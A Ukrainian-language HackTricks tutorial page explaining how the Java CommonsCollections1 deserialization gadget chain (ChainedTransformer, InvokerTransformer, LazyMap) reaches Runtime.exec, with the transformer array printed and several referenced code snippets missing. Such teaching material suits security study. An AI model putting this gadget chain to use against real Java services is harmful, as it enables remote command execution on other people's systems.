Ви працюєте в кібербезпецівій компанії? Хочете побачити рекламу вашої компанії на HackTricks? або хочете мати доступ до останньої версії PEASS або завантажити HackTricks у форматі PDF? Перевірте ПЛАНИ ПІДПИСКИ!
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
Якщо ви нічого не знаєте про навантаження десеріалізації Java, може бути важко зрозуміти, чому цей код виконає calc.
По-перше, вам потрібно знати, що Трансформер в Java - це щось, що отримує клас і перетворює його на інший.
Також цікаво знати, що навантаження, яке тут виконується, еквівалентне до:
Отже, як перший політ відповідає тим "простим" однорядковим командам?
По-перше, ви можете помітити в політі, що створюється ланцюжок (масив) трансформацій:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Якщо ви прочитаєте код, ви помітите, що якщо ви якимось чином ланцюжите трансформацію масиву, ви зможете виконати довільні команди.
У останньому розділі наведено, що створюється об'єкт Map. Потім функція decorate виконується з LazyMap з об'єктом карти та ланцюжковими трансформаторами. З наступного коду видно, що це призведе до того, що ланцюжкові трансформатори будуть скопійовані всередину атрибуту lazyMap.factory:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
І потім виконується велике фінале: lazyMap.get("anything");
Ось код функції get:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
І ось код функції transform
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Так отже, пам'ятайте, що всередині фабрики ми зберегли chainedTransformer, а всередині функції transform ми проходимо через всі ці зв'язані трансформери і виконуємо їх один за одним. Смішна річ у тому, що кожен трансформер використовує objectяк вхідні дані і об'єкт - це вихідні дані від останнього виконаного трансформера. Тому всі трансформації зв'язані виконанням шкідливого навантаження.
Загальний огляд
В кінці кінців, через те, як lazyMap керує зв'язаними трансформерами всередині методу get, це схоже на те, ніби ми виконуємо наступний код:
Зверніть увагу, що value є вхідним параметром кожного перетворення і вихідним результатом попереднього перетворення, що дозволяє виконання однорядкового виразу:
Зауважте, тут було пояснено гаджети, які використовуються для навантаження ComonsCollections1. Але залишається невідомим, як все це починає виконуватися. Ви можете побачити тут, що ysoserial, для виконання цього навантаження використовує об'єкт AnnotationInvocationHandler, оскільки при десеріалізації цього об'єкта, він викличе функцію payload.get(), яка виконає всю навантаження.
Java Thread Sleep
Це навантаження може бути корисним для виявлення вразливості в мережі, оскільки воно виконає затримку, якщо така є.
Ви працюєте в кібербезпеці компанії? Хочете, щоб ваша компанія рекламувалася на HackTricks? або ви хочете мати доступ до останньої версії PEASS або завантажити HackTricks у форматі PDF? Перевірте ПЛАНИ ПІДПИСКИ!
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT